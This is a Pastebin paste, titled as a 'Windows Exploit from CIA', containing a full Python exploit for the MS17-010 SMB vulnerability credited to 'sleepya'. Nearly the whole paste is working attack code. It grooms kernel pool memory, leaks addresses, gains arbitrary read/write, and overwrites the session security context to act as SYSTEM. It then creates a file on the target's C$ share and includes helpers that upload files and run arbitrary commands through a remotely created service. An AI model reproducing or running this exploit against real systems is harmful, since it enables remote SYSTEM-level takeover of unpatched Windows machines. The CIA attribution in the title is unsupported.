Advertisement
Guest User

Windows Exploit from CIA

a guest
Dec 3rd, 2017
2,988
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 22.53 KB | None | 0 0
  1. #!/usr/bin/python
  2. from impacket import smb, smbconnection
  3. from mysmb import MYSMB
  4. from struct import pack, unpack, unpack_from
  5. import sys
  6. import socket
  7. import time
  8.  
  9. '''
  10. MS17-010 exploit for Windows 7+ by sleepya
  11.  
  12. Note:
  13. - The exploit should never crash a target (chance should be nearly 0%)
  14. - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
  15.  
  16. Tested on:
  17. - Windows 2016 x64
  18. - Windows 2012 R2 x64
  19. - Windows 8.1 x64
  20. - Windows 2008 R2 SP1 x64
  21. - Windows 7 SP1 x64
  22. - Windows 8.1 x86
  23. - Windows 7 SP1 x86
  24. '''
  25.  
  26. USERNAME = ''
  27. PASSWORD = ''
  28.  
  29. '''
  30. Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
  31. win7 x64
  32. struct SrvSecContext {
  33.    DWORD xx1; // second WORD is size
  34.    DWORD refCnt;
  35.    PACCESS_TOKEN Token;  // 0x08
  36.    DWORD xx2;
  37.    BOOLEAN CopyOnOpen; // 0x14
  38.    BOOLEAN EffectiveOnly;
  39.    WORD xx3;
  40.    DWORD ImpersonationLevel; // 0x18
  41.    DWORD xx4;
  42.    BOOLEAN UsePsImpersonateClient; // 0x20
  43. }
  44. win2012 x64
  45. struct SrvSecContext {
  46.    DWORD xx1; // second WORD is size
  47.    DWORD refCnt;
  48.    QWORD xx2;
  49.    QWORD xx3;
  50.    PACCESS_TOKEN Token;  // 0x18
  51.    DWORD xx4;
  52.    BOOLEAN CopyOnOpen; // 0x24
  53.    BOOLEAN EffectiveOnly;
  54.    WORD xx3;
  55.    DWORD ImpersonationLevel; // 0x28
  56.    DWORD xx4;
  57.    BOOLEAN UsePsImpersonateClient; // 0x30
  58. }
  59.  
  60. SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
  61. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
  62. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
  63. PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
  64. STATUS_SUCCESS when Token is NULL.
  65. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
  66. to do all SMB operations.
  67. Note: fake Token might be possible, but NULL token is much easier.
  68. '''
  69. WIN7_INFO = {
  70.     'SESSION_SECCTX_OFFSET': 0xa0,
  71.     'SESSION_ISNULL_OFFSET': 0xba,
  72.     'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
  73.     'SECCTX_SIZE': 0x28,
  74. }
  75.  
  76. WIN7_32_INFO = {
  77.     'SESSION_SECCTX_OFFSET': 0x80,
  78.     'SESSION_ISNULL_OFFSET': 0x96,
  79.     'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
  80.     'SECCTX_SIZE': 0x1c,
  81. }
  82.  
  83. # win8+ info
  84. WIN8_INFO = {
  85.     'SESSION_SECCTX_OFFSET': 0xb0,
  86.     'SESSION_ISNULL_OFFSET': 0xca,
  87.     'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
  88.     'SECCTX_SIZE': 0x38,
  89. }
  90.  
  91. WIN8_32_INFO = {
  92.     'SESSION_SECCTX_OFFSET': 0x88,
  93.     'SESSION_ISNULL_OFFSET': 0x9e,
  94.     'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
  95.     'SECCTX_SIZE': 0x24,
  96. }
  97.  
  98. X86_INFO = {
  99.     'PTR_SIZE' : 4,
  100.     'PTR_FMT' : 'I',
  101.     'FRAG_TAG_OFFSET' : 12,
  102.     'POOL_ALIGN' : 8,
  103.     'SRV_BUFHDR_SIZE' : 8,
  104.     'TRANS_SIZE' : 0xa0,  # struct size
  105.     'TRANS_FLINK_OFFSET' : 0x18,
  106.     'TRANS_INPARAM_OFFSET' : 0x40,
  107.     'TRANS_OUTPARAM_OFFSET' : 0x44,
  108.     'TRANS_INDATA_OFFSET' : 0x48,
  109.     'TRANS_OUTDATA_OFFSET' : 0x4c,
  110.     'TRANS_FUNCTION_OFFSET' : 0x72,
  111.     'TRANS_MID_OFFSET' : 0x80,
  112. }
  113.  
  114. X64_INFO = {
  115.     'PTR_SIZE' : 8,
  116.     'PTR_FMT' : 'Q',
  117.     'FRAG_TAG_OFFSET' : 0x14,
  118.     'POOL_ALIGN' : 0x10,
  119.     'SRV_BUFHDR_SIZE' : 0x10,
  120.     'TRANS_SIZE' : 0xf8,  # struct size
  121.     'TRANS_FLINK_OFFSET' : 0x28,
  122.     'TRANS_INPARAM_OFFSET' : 0x70,
  123.     'TRANS_OUTPARAM_OFFSET' : 0x78,
  124.     'TRANS_INDATA_OFFSET' : 0x80,
  125.     'TRANS_OUTDATA_OFFSET' : 0x88,
  126.     'TRANS_FUNCTION_OFFSET' : 0xb2,
  127.     'TRANS_MID_OFFSET' : 0xc0,
  128. }
  129.  
  130.  
  131. def wait_for_request_processed(conn):
  132.     #time.sleep(0.05)
  133.     # send echo is faster than sleep(0.05) when connection is very good
  134.     conn.send_echo('a')
  135.  
  136. special_mid = 0
  137. extra_last_mid = 0
  138. def reset_extra_mid(conn):
  139.     global extra_last_mid, special_mid
  140.     special_mid = (conn.next_mid() & 0xff00) - 0x100
  141.     extra_last_mid = special_mid
  142.    
  143. def next_extra_mid():
  144.     global extra_last_mid
  145.     extra_last_mid += 1
  146.     return extra_last_mid
  147.  
  148. # Borrow 'groom' and 'bride' word from NSA tool
  149. # GROOM_TRANS_SIZE includes transaction name, parameters and data
  150. GROOM_TRANS_SIZE = 0x5010
  151.  
  152.  
  153. def calc_alloc_size(size, align_size):
  154.     return (size + align_size - 1) & ~(align_size-1)
  155.  
  156. def leak_frag_size(conn, tid, fid, info):
  157.     # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
  158.     # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
  159.     # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
  160.     # From the leak info, we can determine the target architecture too.
  161.     mid = conn.next_mid()
  162.     req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
  163.     req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
  164.    
  165.     conn.send_raw(req1[:-8])
  166.     conn.send_raw(req1[-8:]+req2)
  167.     leakData = conn.recv_transaction_data(mid, 0x10d0+276)
  168.     leakData = leakData[0x10d4:]  # skip parameters and its own input
  169.     if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  170.         print('Target is 32 bit')
  171.         if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:
  172.             info.update(WIN7_32_INFO)
  173.         elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
  174.             info.update(WIN8_32_INFO)
  175.         else:
  176.             print('The exploit does not support this 32 bit target')
  177.             sys.exit()
  178.         info.update(X86_INFO)
  179.     elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  180.         print('Target is 64 bit')
  181.         info.update(X64_INFO)
  182.     else:
  183.         print('Not found Frag pool tag in leak data')
  184.         sys.exit()
  185.    
  186.     # Calculate frag pool size
  187.     info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
  188.     print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
  189.  
  190.     # groom: srv buffer header
  191.     info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
  192.     print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
  193.     # groom paramters and data is alignment by 8 because it is NT_TRANS
  194.     info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE']  # empty transaction name (4), alignment (4)
  195.  
  196.     # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
  197.     bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
  198.     info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
  199.     print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
  200.     # bride paramters and data is alignment by 4 because it is TRANS
  201.     info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE']  # empty transaction name (4)
  202.  
  203.     return info['FRAG_POOL_SIZE']
  204.  
  205.  
  206. def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
  207.     trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
  208.     # fill large pagedpool holes (maybe no need)
  209.     for i in range(numFill):
  210.         conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
  211.  
  212.     mid_ntrename = conn.next_mid()
  213.     req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
  214.     req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
  215.  
  216.     req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
  217.     reqs = []
  218.     for i in range(12):
  219.         mid = next_extra_mid()
  220.         reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
  221.  
  222.     conn.send_raw(req1[:-8])
  223.     conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
  224.    
  225.     # expected transactions alignment ("Frag" pool is not shown)
  226.     #
  227.     #    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
  228.     #    +-------------------------------+----------------+-------------------------------+----------------+
  229.     #    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
  230.     #    +-------------------------------+----------------+-------------------------------+----------------+
  231.     #
  232.     # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
  233.     # From leaked transaction, we get
  234.     # - leaked transaction address from InParameter or InData
  235.     # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
  236.     # With these information, we can verify the transaction aligment from displacement.
  237.  
  238.     leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
  239.     leakData = leakData[0x10d4:]  # skip parameters and its own input
  240.     #open('leak.dat', 'wb').write(leakData)
  241.  
  242.     if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
  243.         print('Not found Frag pool tag in leak data')
  244.         return None
  245.    
  246.     # ================================
  247.     # verify leak data
  248.     # ================================
  249.     leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
  250.     # check pool tag and size value in buffer header
  251.     expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
  252.     leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
  253.     if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
  254.         print('No transaction struct in leak data')
  255.         return None
  256.  
  257.     leakTrans = leakData[leakTransOffset:]
  258.  
  259.     ptrf = info['PTR_FMT']
  260.     _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
  261.     inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
  262.     leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  263.  
  264.     print('CONNECTION: 0x{:x}'.format(connection_addr))
  265.     print('SESSION: 0x{:x}'.format(session_addr))
  266.     print('FLINK: 0x{:x}'.format(flink_value))
  267.     print('InParam: 0x{:x}'.format(inparam_value))
  268.     print('MID: 0x{:x}'.format(leak_mid))
  269.  
  270.     next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
  271.     if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
  272.         print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
  273.         return None
  274.     # trans1: leak transaction
  275.     # trans2: next transaction
  276.     return {
  277.         'connection': connection_addr,
  278.         'session': session_addr,
  279.         'next_page_addr': next_page_addr,
  280.         'trans1_mid': leak_mid,
  281.         'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,
  282.         'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
  283.         'special_mid': special_mid,
  284.     }
  285.  
  286. def read_data(conn, info, read_addr, read_size):
  287.     fmt = info['PTR_FMT']
  288.     # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
  289.     # modify trans2.*ParameterCount and trans2.*DataCount to limit data
  290.     new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
  291.     new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
  292.     new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
  293.     new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
  294.     new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
  295.     conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
  296.    
  297.     # create one more transaction before leaking data
  298.     # - next transaction can be used for arbitrary read/write after the current trans2 is done
  299.     # - next transaction address is from TransactionListEntry.Flink value
  300.     conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
  301.  
  302.     # finish the trans2 to leak
  303.     conn.send_nt_trans_secondary(mid=info['trans2_mid'])
  304.     read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
  305.    
  306.     # set new trans2 address
  307.     info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
  308.    
  309.     # set trans1.InData to &trans2
  310.     conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
  311.     wait_for_request_processed(conn)
  312.  
  313.     # modify trans2 mid
  314.     conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  315.     wait_for_request_processed(conn)
  316.    
  317.     return read_data[8:]  # no need to return parameter
  318.  
  319.  
  320. def write_data(conn, info, write_addr, write_data):
  321.     # trans2.InData
  322.     conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
  323.     wait_for_request_processed(conn)
  324.    
  325.     # write data
  326.     conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
  327.     wait_for_request_processed(conn)
  328.  
  329.  
  330. def exploit(target, pipe_name):
  331.     conn = MYSMB(target)
  332.    
  333.     # set NODELAY to make exploit much faster
  334.     conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  335.  
  336.     info = {}
  337.  
  338.     conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
  339.     server_os = conn.get_server_os()
  340.     print('Target OS: '+server_os)
  341.     if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
  342.         info.update(WIN7_INFO)
  343.     elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
  344.         info.update(WIN8_INFO)
  345.     else:
  346.         print('This exploit does not support this target')
  347.         sys.exit()
  348.  
  349.     # ================================
  350.     # try align pagedpool and leak info until satisfy
  351.     # ================================
  352.     leakInfo = None
  353.     # max attempt: 10
  354.     for i in range(10):
  355.         tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
  356.         conn.set_default_tid(tid)
  357.         # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  358.         fid = conn.nt_create_andx(tid, pipe_name)
  359.         if 'FRAG_POOL_SIZE' not in info:
  360.             leak_frag_size(conn, tid, fid, info)
  361.         reset_extra_mid(conn)
  362.         leakInfo = align_transaction_and_leak(conn, tid, fid, info)
  363.         if leakInfo is not None:
  364.             break
  365.         print('leak failed... try again')
  366.         conn.close(tid, fid)
  367.         conn.disconnect_tree(tid)
  368.     if leakInfo is None:
  369.         return False
  370.    
  371.     info['fid'] = fid
  372.     info.update(leakInfo)
  373.  
  374.     # ================================
  375.     # shift trans1.Indata ptr with SmbWriteAndX
  376.     # ================================
  377.     shift_indata_byte = 0x200
  378.     conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
  379.  
  380.     # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
  381.     #       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  382.     # maxParameterCount (0x1000), trans name (4), param (4)
  383.     indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
  384.     indata_next_trans_displacement = info['trans2_addr'] - indata_value
  385.     conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
  386.     wait_for_request_processed(conn)
  387.  
  388.     # if the overwritten is correct, a modified transaction mid should be special_mid now.
  389.     # a new transaction with special_mid should be error.
  390.     recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
  391.     if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
  392.         print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  393.         print('!!! Write to wrong place !!!')
  394.         print('the target might be crashed')
  395.         sys.exit()
  396.  
  397.     print('success controlling groom transaction')
  398.  
  399.     # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
  400.     # but this method make the transation never get freed
  401.     # I will avoid memory leak
  402.    
  403.     # ================================
  404.     # modify trans1 struct to be used for arbitrary read/write
  405.     # ================================
  406.     print('modify trans1 struct for arbitrary read/write')
  407.     fmt = info['PTR_FMT']
  408.     # modify trans_special.InData to &trans1
  409.     conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
  410.     wait_for_request_processed(conn)
  411.  
  412.     # modify
  413.     # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
  414.     # - trans1.InData to &trans2. so we can modify trans2 easily
  415.     conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
  416.     wait_for_request_processed(conn)
  417.  
  418.     # modify trans2.mid
  419.     info['trans2_mid'] = conn.next_mid()
  420.     conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  421.  
  422.     # Now, read_data() and write_data() can be used for arbitrary read and write.
  423.     # ================================
  424.     # Modify this SMB session to be SYSTEM
  425.     # ================================    
  426.     # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
  427.     #         method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
  428.    
  429.     print('make this SMB session to be SYSTEM')
  430.     # IsNullSession = 0, IsAdmin = 1
  431.     write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
  432.  
  433.     # read session struct to get SecurityContext address
  434.     sessionData = read_data(conn, info, info['session'], 0x100)
  435.     secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
  436.  
  437.     # copy SecurityContext for restoration
  438.     secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
  439.  
  440.     print('overwriting session security context')
  441.     # see FAKE_SECCTX detail at top of the file
  442.     write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
  443.  
  444.     # ================================
  445.     # do whatever we want as SYSTEM over this SMB connection
  446.     # ================================    
  447.     try:
  448.         smb_pwn(conn)
  449.     except:
  450.         pass
  451.  
  452.     # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
  453.     write_data(conn, info, secCtxAddr, secCtxData)
  454.  
  455.     conn.disconnect_tree(tid)
  456.     conn.logoff()
  457.     conn.get_socket().close()
  458.     return True
  459.  
  460. def smb_pwn(conn):
  461.     smbConn = conn.get_smbconnection()
  462.    
  463.     print('creating file c:\\pwned.txt on the target')
  464.     tid2 = smbConn.connectTree('C$')
  465.     fid2 = smbConn.createFile(tid2, '/pwned.txt')
  466.     smbConn.closeFile(tid2, fid2)
  467.     smbConn.disconnectTree(tid2)
  468.    
  469.     #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
  470.     #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
  471.  
  472. def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
  473.     with open(localSrc, 'rb') as fp:
  474.         smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
  475.  
  476. # based on impacket/examples/serviceinstall.py
  477. def service_exec(conn, cmd):
  478.     import random
  479.     import string
  480.     from impacket.dcerpc.v5 import transport, srvs, scmr
  481.    
  482.     service_name = ''.join([random.choice(string.letters) for i in range(4)])
  483.  
  484.     # Setup up a DCE SMBTransport with the connection already in place
  485.     rpcsvc = conn.get_dce_rpc('svcctl')
  486.     rpcsvc.connect()
  487.     rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
  488.     svnHandle = None
  489.     try:
  490.         print("Opening SVCManager on %s....." % conn.get_remote_host())
  491.         resp = scmr.hROpenSCManagerW(rpcsvc)
  492.         svcHandle = resp['lpScHandle']
  493.        
  494.         # First we try to open the service in case it exists. If it does, we remove it.
  495.         try:
  496.             resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
  497.         except Exception, e:
  498.             if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
  499.                 raise e  # Unexpected error
  500.         else:
  501.             # It exists, remove it
  502.             scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
  503.             scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
  504.        
  505.         print('Creating service %s.....' % service_name)
  506.         resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
  507.         serviceHandle = resp['lpServiceHandle']
  508.        
  509.         if serviceHandle:
  510.             # Start service
  511.             try:
  512.                 print('Starting service %s.....' % service_name)
  513.                 scmr.hRStartServiceW(rpcsvc, serviceHandle)
  514.                 # is it really need to stop?
  515.                 # using command line always makes starting service fail because SetServiceStatus() does not get called
  516.                 print('Stoping service %s.....' % service_name)
  517.                 scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
  518.             except Exception, e:
  519.                 print(str(e))
  520.            
  521.             print('Removing service %s.....' % service_name)
  522.             scmr.hRDeleteService(rpcsvc, serviceHandle)
  523.             scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
  524.     except Exception, e:
  525.         print("ServiceExec Error on: %s" % conn.get_remote_host())
  526.         print(str(e))
  527.     finally:
  528.         if svcHandle:
  529.             scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
  530.  
  531.     rpcsvc.disconnect()
  532.  
  533.  
  534. if len(sys.argv) != 3:
  535.     print("{} <ip> <pipe_name>".format(sys.argv[0]))
  536.     sys.exit(1)
  537.  
  538. target = sys.argv[1]
  539. pipe_name = sys.argv[2]
  540.  
  541. exploit(target, pipe_name)
  542. print('Done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement